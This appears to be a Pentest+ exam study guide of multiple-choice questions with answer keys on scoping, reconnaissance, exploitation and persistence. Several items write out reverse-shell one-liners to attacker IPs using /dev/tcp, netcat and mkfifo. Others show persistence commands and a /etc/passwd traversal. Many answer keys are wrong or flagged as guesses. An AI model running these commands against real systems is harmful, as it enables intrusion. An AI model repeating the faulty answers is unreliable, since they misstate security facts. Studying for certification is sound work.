Pentest+ study guide

A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovering vulnerabilities, the company asked the consultant to perform the following tasks: ✑ Code review ✑ Updates to firewall settings Which of the following has occurred in this situation? A. Scope creep B. Post-mortem review C. Risk acceptance D. Threat prevention

A. Scope creep

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment? A. Selection of the appropriate set of security testing tools B. Current and load ratings of the ICS components C. Potential operational and safety hazards D. Electrical certification of hardware used in the test

A. Selection of the appropriate set of security testing tools

A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity? A. The client has applied a hot fix without updating the version. B. The threat landscape has significantly changed. C. The client has updated their codebase with new features. D. Thera are currently no known exploits for this vulnerability.

A. The client has applied a hot fix without updating the version.

A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin? A. The physical location and network ESSIDs to be tested B. The number of wireless devices owned by the client C. The client's preferred wireless access point vendor D. The bands and frequencies used by the client's devices

A. The physical location and network ESSIDs to be tested

Which of the following is the reason why a penetration tester would run the chkconfig --del servicename command at the end of an engagement? A. To remove the persistence B. To enable persistence C. To report persistence D. To check for persistence

A. To remove the persistence

For which of the following reasons does a penetration tester need to have a customer's point-of-contact information available at all times? (Choose three.) A. To report indicators of compromise B. To report findings that cannot be exploited C. To report critical findings D. To report the latest published exploits E. To update payment information F. To report a server that becomes unresponsive G. To update the statement of work H. To report a cracked password

A. To report indicators of compromise C. To report critical findings F. To report a server that becomes unresponsive

Given the following Python script: Which of the following is where the output will go? A. To the screen B. To a network server C. To a file D. To /dev/null

A. To the screen

After several attempts, an attacker was able to gain unauthorized access through a biometrics sensor using the attacker's actual fingerprint without exploitation.Which of the following is the MOST likely explanation of what happened? The biometric device is tuned more toward false positives. The biometric device is configured more toward true negatives. The biometric device is set to fail closed. The biometric device duplicated a valid user's fingerprint.

The biometric device is tuned more toward false positives.

A penetration tester is reviewing the output report of an authenticated dynamic application vulnerability scanner. The report indicates an SQL injection was not found. Which of the following are possible reasons why an SQL injection was not found? (Select TWO) Stored procedures were used in the database Incorrect credentials were provided to the scanner Anti-CSRF tokens were employed Antivirus prevented execution of the SQL queries Client-side HTML encoding was used

Stored procedures were used in the database Incorrect credentials were provided to the scanner

Which of the following types of physical security attacks does a mantrap mitigate? Impersonation Tailgating Lock picking Shoulder surfing

Tailgating

A penetration tester ran the following Nmap scan on a computer: nmap -aV 192.168.1.5The organization said it had disabled Telnet from its environment. However, the results of the Nmap scan show port 22 as closed and port 23 as open to SSH.Which of the following is the BEST explanation for what happened? The organization failed to disable Telnet. Nmap results contain a false positive for port 23. Port 22 was filtered. The service is running on a non-standard port.

The organization failed to disable Telnet.

An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses. Which of the following commands can the assessor use to find any likely Windows domain controllers? A. dig -q any _kerberos._tcp.internal.comptia.net B. dig -q any _lanman._tcp.internal.comptia.net C. dig -q any _ntlm._tcp.internal.comptia.net D. dig -q any _smtp._tcp.internal.comptia.net

A. dig -q any _kerberos._tcp.internal.comptia.net

Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented. Each password may be used only once.Select and Place:

Zverlory zv3rl0ry Zverl0ry Zv3r!0ry

Which of the following commands starts the Metasploit database? A. msfconsole B. workspace C. msfvenom D. db_init E. db_connect

A. msfconsole

A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0> &1 Which of the following additional commands would need to be executed on the tester's Linux system to make the previous command successful? A. nc -nlvp 443 B. nc 10.2.4.6. 443 C. nc -w3 10.2.4.6 443 D. nc -e /bin/sh 10.2.4.6. 443

A. nc -nlvp 443

A penetration tester, who is not on the client's network is using Nmap to scan the network for hosts that are in scope. The penetration tester is not receiving any response on the command: nmap 100.100.1.0-125Which of the following commands would be BEST to return results? A. nmap -Pn -sT 100.100.1.0-125 B. nmap -sF -p 100.100.1.0-125 C. nmap -sV -oA output 100.100.10-125 D. nmap 100.100.1.0-125 -T4

A. nmap -Pn -sT 100.100.1.0-125

A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use? A. nmap -p 22 -iL targets B. nmap -p 22 -sL targets C. nmap -p 22 -oG targets D. nmap -p 22 -oA targets

A. nmap -p 22 -iL targets -iL --> Scans a list of IP addresses, you can add options before / after. nmap -iL ip-addresses.txt The -iL file_name command tells nmap to read the specified file and scan only those hosts listed in the file.

During the information gathering phase of a network penetration test for the corp.local domain, which of the following commands would provide a list of domain controllers? A. nslookup ""type=srv _ldap._tcp.dc._msdcs.corp.local B. nmap ""sV ""p 389 - -script=ldap-rootdse corp.local C. net group "Domain Controllers" /domain D. gpresult /d corp.local /r "Domain Controllers"

A. nslookup ""type=srv _ldap._tcp.dc._msdcs.corp.local keywords: information gathering

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal? A. schtasks.exe /create/tr "powershell.exe" Sv.ps1 /run B. net session server | dsquery -user | net use c$ C. powershell && set-executionpolicy unrestricted D. reg save HKLM\System\CurrentControlSet\Services\Sv.reg

A. schtasks.exe /create/tr "powershell.exe" Sv.ps1 /run

After successfully capturing administrator credentials to a remote Windows machine, a penetration tester attempts to access the system using PSExec but is denied permission. Which of the following shares must be accessible for a successful PSExec connection? ADMIN$ and IPC$ IPC$ and C$ SERVICE and ADMIN$ C$ and ADMIN$

ADMIN$ and IPC$

A client has voiced concern about the number of companies being breached by remote attackers, who are looking for trade secrets. Which of the following BEST describes the type of adversaries this would identify? A. Script kiddies B. APT actors C. Insider threats D. Hacktivist groups

B. APT actors Keyword: Remote

Click the exhibit button. A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. Which of the following types of attacks should the tester stop? A. SNMP brute forcing B. ARP spoofing C. DNS cache poisoning D. SMTP relay

B. ARP spoofing

While prioritizing findings and recommendations for an executive summary, which of the following considerations would the MOST valuable to the client? Levels of difficulty to exploit identified vulnerabilities Availability of patches and remediations Risk tolerance of the organization Time taken to accomplish each step

Availability of patches and remediations

During post-exploitation, a tester identifies that only system binaries will pass an egress filter and store a file with the following command: c: \creditcards.db>c:\winit\system32\calc.exe:creditcards.dbWhich of the following file system vulnerabilities does this command take advantage of? A. Hierarchical file system B. Alternate data streams C. Backdoor success D. Extended file system

B. Alternate data streams

A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform? A. Command injection attack B. Clickjacking attack C. Directory traversal attack D. Remote file inclusion attack

B. Clickjacking attack

A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output: Which of the following is the tester intending to do? A. Horizontally escalate privileges. B. Scrape the page for hidden fields. C. Analyze HTTP response code. D. Search for HTTP headers

B. Scrape the page for hidden fields.

A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor? A. Advanced persistent threat B. Script kiddie C. Hacktivist D. Organized crime

B. Script kiddie

Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads? A. Creating a scope of the critical production systems B. Setting a schedule of testing access times C. Establishing a white-box testing engagement D. Having management sign off on intrusive testing

B. Setting a schedule of testing access times

A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5.Which of the following commands will test if the VPN is available? A. fpipe.exe -1 8080 -r 80 100.170.60.5 B. ike-scan -A -t 1 --sourceip=apoof_ip 100.170.60.5 C. nmap -sS -A -f 100.170.60.5 D. nc 100.170.60.5 8080 /bin/sh

ike-scan -A -t 1 --sourceip=apoof_ip 100.170.60.5 "ike-scan is a command-line IPSec VPN Scanner & Testing Tool for discovering, fingerprinting and testing IPsec VPN systems."

Which of the following is an example of a spear phishing attack? A. Targeting an executive with an SMS attack B. Targeting a specific team with an email attack C. Targeting random users with a USB key drop D. Targeting an organization with a watering hole attack

B. Targeting a specific team with an email attack

Which of the following commands will allow a tester to enumerate potential unquoted services paths on a host? wmic environment get name, variablevalue, username / findstr /i "Path" | findstr /i "service" wmic service get name, displayname, patchname, startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ wmic service get /format:hform > c:\temp\services.html wmic startup get caption, location, command | findstr /i "service" | findstr /v /i "%"

wmic service get name, displayname, patchname, startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer? A. Run the application through a dynamic code analyzer. B. Employ a fuzzing utility. C. Decompile the application. D. Check memory allocations.

C. Decompile the application. "One option you could try in this scenario is to decompile the application's executable. This process will reveal the application's assembly-level code that you can analyze for weaknesses."

Given the following:http://example.com/download.php?id-.../.../.../etc/passwdWhich of the following BEST describes the above attack? A. Malicious file upload attack B. Redirect attack C. Directory traversal attack D. Insecure direct object reference attack Reveal Solution

C. Directory traversal attack

During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful.Which of the following would be the BEST target for continued exploitation efforts? A. Operating system: Windows 7 Open ports: 23, 161 B. Operating system: Windows Server 2016 Open ports: 53, 5900 C. Operating system: Windows 8.1 Open ports: 445, 3389 D. Operating system: Windows 8 Open ports: 514, 3389

C. Operating system: Windows 8.1 Open ports: 445, 3389

During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action? A. Disable the network port of the affected service. B. Complete all findings, and then submit them to the client. C. Promptly alert the client with details of the finding. D. Take the target offline so it cannot be exploited by an attacker.

C. Promptly alert the client with details of the finding.

A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability? A. Download the GHOST file to a Linux system and compile gcc -o GHOST test i: ./GHOST B. Download the GHOST file to a Windows system and compile gcc -o GHOST GHOST.c test i: ./GHOST C. Download the GHOST file to a Linux system and compile gcc -o GHOST.c test i: ./GHOST D. Download the GHOST file to a Windows system and compile gcc -o GHOST test i: ./GHOST

C. Download the GHOST file to a Linux system and compile gcc -o GHOST.c test i: ./GHOST

Which of the following excerpts would come from a corporate policy? A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric. B. The help desk can be reached at 800-passwd1 to perform password resets. C. Employees must use strong passwords for accessing corporate assets. D. The corporate systems must store passwords using the MD5 hashing algorithm.

C. Employees must use strong passwords for accessing corporate assets.

While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use? A. HKEY_CLASSES_ROOT B. HKEY_LOCAL_MACHINE C. HKEY_CURRENT_USER D. HKEY_CURRENT_CONFIG

C. HKEY_CURRENT_USER

A recently concluded penetration test revealed that a legacy web application is vulnerable to SQL injection. Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not in a position to risk the availability on the application. Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk? (Choose two.) A. Identity and eliminate inline SQL statements from the code. B. Identify and eliminate dynamic SQL from stored procedures. C. Identify and sanitize all user inputs. D. Use a whitelist approach for SQL statements. E. Use a blacklist approach for SQL statements. F. Identify the source of malicious input and block the IP address.

C. Identify and sanitize all user inputs. D. Use a whitelist approach for SQL statements.

After establishing a shell on a target system, Joe, a penetration tester is aware that his actions have not been detected. He now wants to maintain persistent access to the machine. Which of the following methods would be MOST easily detected? A. Run a zero-day exploit. B. Create a new domain user with a known password. C. Modify a known boot time service to instantiate a call back. D. Obtain cleartext credentials of the compromised user.

C. Modify a known boot time service to instantiate a call back.

If a security consultant comes across a password hash that resembles the following: b117525b345470c29ca3d8ac0b556ba8Which of the following formats is the correct hash type? A. Kerberos B. NetNTLMv1 C. NTLM D. SHA-1

C. NTLM

A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service? A. arpspoof B. nmap C. responder D. burpsuite

C. responder

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO). A. nc 192.168.1.5 44444 B. nc -nlvp 44444 -e /bin/sh C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f D. nc -e /bin/sh 192.168.1.5 44444 E. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f F. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f

C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f D. nc -e /bin/sh 192.168.1.5 44444

The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does? A. Performs a port scan. B. Grabs the web server's banner. C. Redirects a TTY to a remote system. D. Removes error logs for the supplied IP.

C. Redirects a TTY to a remote system.

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE). A. Randomize local administrator credentials for each machine. B. Disable remote logons for local administrators. C. Require multifactor authentication for all logins. D. Increase minimum password complexity requirements. E. Apply additional network access control. F. Enable full-disk encryption on every workstation. G. Segment each host into its own VLAN.

C. Require multifactor authentication for all logins. D. Increase minimum password complexity requirements. E. Apply additional network access control.

During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests? A. Ettercap B. Tcpdump C. Responder D. Medusa

C. Responder "name resolution requests."

A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list? A. Rules of engagement B. Mater services agreement C. Statement of work D. End-user license agreement

C. Statement of work

A penetration tester is performing a code review. Which of the following testing techniques is being performed? A. Dynamic analysis B. Fuzzing analysis C. Static analysis D. Run-time analysis

C. Static analysis

A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Which of the following is the MOST likely reason? A. Infrastructure is being replaced with similar hardware and software. B. Systems administrators are applying the wrong patches. C. The organization is not taking action to remediate identified findings. D. The penetration testing tools were misconfigured.

C. The organization is not taking action to remediate identified findings.

In which of the following scenarios would a tester perform a Kerberoasting attack? A. The tester has compromised a Windows device and dumps the LSA secrets. B. The tester needs to retrieve the SAM database and crack the password hashes. C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement. D. The tester has compromised an account and needs to dump hashes and plaintext passwords from the system.

C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.

A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability? A. Very difficult; perimeter systems are usually behind a firewall. B. Somewhat difficult; would require significant processing power to exploit. C. Trivial; little effort is required to exploit this finding. D. Impossible; external hosts are hardened to protect against attacks.

C. Trivial; little effort is required to exploit this finding.

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this? A. dsrm -users "DN=company.com; OU=hq CN=users" B. dsuser -name -account -limit 3 C. dsquery user -inactive 3 D. dsquery -o -rdn -limit 21

C. dsquery user -inactive 3

A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize? A. nmap -p 53 -oG dnslist.txt | cut -d ":" -f 4 B. nslookup -ns 8.8.8.8 << dnslist.txt C. for x in {1...254}; do dig -x 192.168.$x.$x; done D. dig -r > echo "8.8.8.8" >> /etc/resolv.conf

C. for x in {1...254}; do dig -x 192.168.$x.$x; done

A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack? A. hashcat -m 5600 -r rules/bestG4.rule hash.txt wordlist.txt B. hashcat -m 5600 hash.txt C. hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a D. hashcat -m 5600 -o results.text hash.txt wordlist.txt

C. hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a -m 5600 --> specifies NetNTLMv2 as the hash type -a 3 --> specifies a mask attack, hash.txt --> file containing the hashes ?a?a?a?a?a?a?a?a --> this particular mask will attempt to bruteforce an 8 character password where all characters can be uppercase, lowercase, digits and can have space, symbols, etc.

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use? A. perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443; B. ssh superadmin@<DESTINATIONIP> -p 443 C. nc -e /bin/sh <SOURCEIP> 443 D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization? A. Sample SOAP messages B. The REST API documentation C. A protocol fuzzing utility D. An applicable XSD file

D. An applicable XSD file

A security consultant is trying to attack a device with a previously identified user account. Which of the following types of attacks is being executed? A. Credential dump attack B. DLL injection attack C. Reverse shell attack D. Pass the hash attack

D. Pass the hash attack

Which of the following BEST explains why it is important to maintain confidentially of any identified findings when performing a penetration test? A. Penetration test findings often contain company intellectual property B. Penetration test findings could lead to consumer dissatisfaction if made public. C. Penetration test findings are legal documents containing privileged information. D. Penetration test findings can assist an attacker in compromising a system.

D. Penetration test findings can assist an attacker in compromising a system.

A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability? A. Randomize the credentials used to log in. B. Install host-based intrusion detection. C. Implement input normalization. D. Perform system hardening.

D. Perform system hardening.

A penetration tester identifies the following findings during an external vulnerability scan: Which of the following attack strategies should be prioritized from the scan results above? A. Obsolete software may contain exploitable components. B. Weak password management practices may be employed. C. Cryptographically weak protocols may be intercepted. D. Web server configurations may reveal sensitive information

D. Web server configurations may reveal sensitive information

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device? A. nc -l -p 4444 /bin/bash B. nc -vp 4444 /bin/bash C. nc -p 4444 /bin/bash D. nc -lp 4444 /bin/bash

D. nc -lp 4444 /bin/bash

A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profile s. For which of the following types of attack would this information be used? Exploit chaining Karma Session hijacking Dictionary

Dictionary

A Technician is reviewing the following report. Given this information, identify which vulnerability can be definetly confirmed tob e a false positive. Drag the „false positive" token to the „confirmed" column for each vulnerabiltiy that is a false positive

Directory traversal = false positive

DRAG DROP - Instructions: Analyze the code segments to determine which sections are needed to complete a port scanning script.Drag the appropriate elements into the correct locations to complete the script. During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan. Select and Place:

1 - #!/usr/bin/python 2- ports = [21,22] 3- for port in ports: ... 4- run_scan(sys.argv[1], ports)

Which of the following has a direct and significant impact on the budget of the security assessment? Scoping Scheduling Compliance requirement Target risk

Scoping

Which of the following tools is used to perform a credential brute force attack? A. Hydra B. John the Ripper C. Hashcat D. Peach

A. Hydra

Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities? A. ICS vendors are slow to implement adequate security controls. B. ICS staff are not adequately trained to perform basic duties. C. There is a scarcity of replacement equipment for critical devices. D. There is a lack of compliance for ICS facilities.

A. ICS vendors are slow to implement adequate security controls.

In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once? A. Common libraries B. Configuration files C. Sandbox escape D. ASLR bypass

A. Common libraries

A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (SelectTWO). A. Convert to JAR. B. Decompile. C. Cross-compile the application. D. Convert JAR files to DEX. E. Re-sign the APK. F. Attach to ADB.

A. Convert to JAR. B. Decompile.

Which of the following is the purpose of an NDA? A. Outlines the terms of confidentiality between both parties B. Outlines the boundaries of which systems are authorized for testing C. Outlines the requirements of technical testing that are allowed D. Outlines the detailed configuration of the network

A. Outlines the terms of confidentiality between both parties

A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal? A. Perform an HTTP downgrade attack. B. Harvest the user credentials to decrypt traffic. C. Perform an MITM attack. D. Implement a CA attack by impersonating trusted CAs.

A. Perform an HTTP downgrade attack.

A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.) A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com. C. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1. D. Create a fake service in Windows called RTAudio to execute manually. E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio. F. Create a schedule task to call C:\windows\system32\drivers\etc\hosts.

A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com.

A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability? A. RID cycling to enumerate users and groups B. Pass the hash to relay credentials C. Password brute forcing to log into the host D. Session hijacking to impersonate a system account

A. RID cycling to enumerate users and groups or D. Session hijacking to impersonate a system account

A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information? A. Rules of engagement B. Request for proposal C. Master service agreement D. Business impact analysis

A. Rules of engagement

After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation? A. SOW B. NDA C. EULA D. BPA

A. SOW (might be D. BPA. need to do some research)

A penetration tester has performed a vulnerability scan of a specific host that contains a valuable database and has identified the following vulnerabilities: ✑ XSS ✑ HTTP DELETE method allowed ✑ SQL injection ✑ Vulnerable to CSRF To which of the following should the tester give the HIGHEST priority? A. SQL injection B. HTTP DELETE method allowed C. Vulnerable to CSRF D. XSS

A. SQL injection

HOTSPOT - Instructions: Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.You are a security analyst tasked with hardening a web server.You have been given a list of HTTP payloads that were flagged as malicious. Hot Area:

1. DOM - Input Sanitization (last) 2. Sql Injection Stacked - Parameterized Queries 3. Reflected - Input sanitization(last) 4. LFI - sandbox req 5. CI - sandbox req 6. union - para query 7. SQL error - param que 8. RFI - sandbox 9. CI - input saniti $ 10. URL redirect - prevent external calls

A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.). A. -O B. -iL C. -V D. -sS E. oN F. -oX

A. -O B. -iL

A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task? A. -p- B. -p ALL C. -p 1-65534 D. -port 1-65534

A. -p-

Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.) A. Arbitrary code execution B. Session hijacking C. SQL injection D. Login credential brute-forcing E. Cross-site request forgery

A. Arbitrary code execution D. Login credential brute-forcing

Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe is looking for a method that will enable him to enter the building during business hours or when there are no employees on-site. Which of the following would be the MOST effective in accomplishing this? A. Badge cloning B. Lock picking C. Tailgating D. Piggybacking

A. Badge cloning

In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device? A. Brute force the user's password. B. Perform an ARP spoofing attack. C. Leverage the BeEF framework to capture credentials. D. Conduct LLMNR/NETBIOS-ns poisoning.

A. Brute force the user's password.

A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL: http:www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswdWhich of the following attack types is MOST likely to be the vulnerability? A. Directory traversal B. Cross-site scripting C. Remote file inclusion D. User enumeration

A. Directory traversal

A penetration tester is reviewing the following output from a wireless sniffer: Which of the following can be extrapolated from the above information? A. Hardware vendor B. Channel interference C. Usernames D. Key strength

A. Hardware vendor

A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance? A. Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure. B. Connect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management. C. Notify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company. D. Request that management create an RFP to begin a formal engagement with a professional penetration testing company.

A. Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure.

An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO's login credentials. A. Elicitation attack B. Impersonation attack C. Spear phishing attack D. Drive-by download attack

A. Elicitation attack ???

A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy? A. Enable HTTP Strict Transport Security. B. Enable a secure cookie flag. C. Encrypt the communication channel. D. Sanitize invalid user input.

A. Enable HTTP Strict Transport Security

A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings? A. Ensure the scanner can make outbound DNS requests. B. Ensure the scanner is configured to perform ARP resolution. C. Ensure the scanner is configured to analyze IP hosts. D. Ensure the scanner has the proper plug -ins loaded

A. Ensure the scanner can make outbound DNS requests.

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy: Which of the following types of vulnerabilities is being exploited? A. Forced browsing vulnerability B. Parameter pollution vulnerability C. File upload vulnerability D. Cookie enumeration

A. Forced browsing vulnerability

Which of the following are MOST important when planning for an engagement? (Select TWO). A. Goals/objectives B. Architectural diagrams C. Tolerance to impact D. Storage time for a report E. Company policies

A. Goals/objectives C. Tolerance to impact

An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an: A. HTTP POST method. B. HTTP OPTIONS method. C. HTTP PUT method. D. HTTP TRACE method.

A. HTTP POST method.

A penetration tester executes the following commands: Which of the following is a local host vulnerability that the attacker is exploiting? A. Insecure file permissions B. Application whitelisting C. Shell escape D. Writable service

A. Insecure file permissions

Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his privilege, from which of the following places is he using Mimikatz to pull credentials? A. LSASS B. SAM database C. Active Directory D. Registry Reveal Solution

A. LSASS

A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (SelectTHREE). A. Mandate all employees take security awareness training. B. Implement two-factor authentication for remote access. C. Install an intrusion prevention system. D. Increase password complexity requirements. E. Install a security information event monitoring solution. F. Prevent members of the IT department from interactively logging in as administrators. G. Upgrade the cipher suite used for the VPN solution.

A. Mandate all employees take security awareness training. B. Implement two-factor authentication for remote access. D. Increase password complexity requirements

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this? A. Manufacturers developing IoT devices are less concerned with security. B. It is difficult for administrators to implement the same security standards across the board. C. IoT systems often lack the hardware power required by more secure solutions. D. Regulatory authorities often have lower security requirements for IoT systems.

A. Manufacturers developing IoT devices are less concerned with security.

Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO). A. Shodan B. SET C. BeEF D. Wireshark E. Maltego F. Dynamo

A. Shodan E. Maltego

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow? A. Stack pointer register B. Index pointer register C. Stack base pointer D. Destination index register

A. Stack pointer register

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation? A. Stored XSS B. Fill path disclosure C. Expired certificate D. Clickjacking

A. Stored XSS

A client is asking a penetration tester to evaluate a new web application for availability. Which of the following types of attacks should the tester use? A. TCP SYN flood B. SQL injection C. XSS D. XMAS scan

A. TCP SYN flood

A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile.The security guard then audits the badge system and finds two log entries for the badge in question within the last 30 minutes. Which of the following has MOST likely occurred? A. The badge was cloned. B. The physical access control server is malfunctioning. C. The system reached the crossover error rate. D. The employee lost the badge.

A. The badge was cloned.

A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform? A. Vulnerability scan B. Dynamic scan C. Static scan D. Compliance scan

A. Vulnerability scan you don't perform a static or dynamic scan. You do static or dynamic analysis

A company has engaged a penetration tester to perform an assessment for an application that resides in the company's DMZ. Prior to conducting testing, in which of the following solutions should the penetration tester's IP address be whitelisted? A. WAF B. HIDS C. NIDS D. DLP

A. WAF

Black box penetration testing strategy provides the tester with: A. a target list B. a network diagram C. source code D. privileged credentials

A. a target list

Which of the following would allow a user to directly perform privileged functionalities without using root credentials? Adding the user in /etc/passwd Adding the user in /etc/init.d Adding the user in /etc/sudoers Adding the user in /etc/shadow

Adding the user in /etc/sudoers

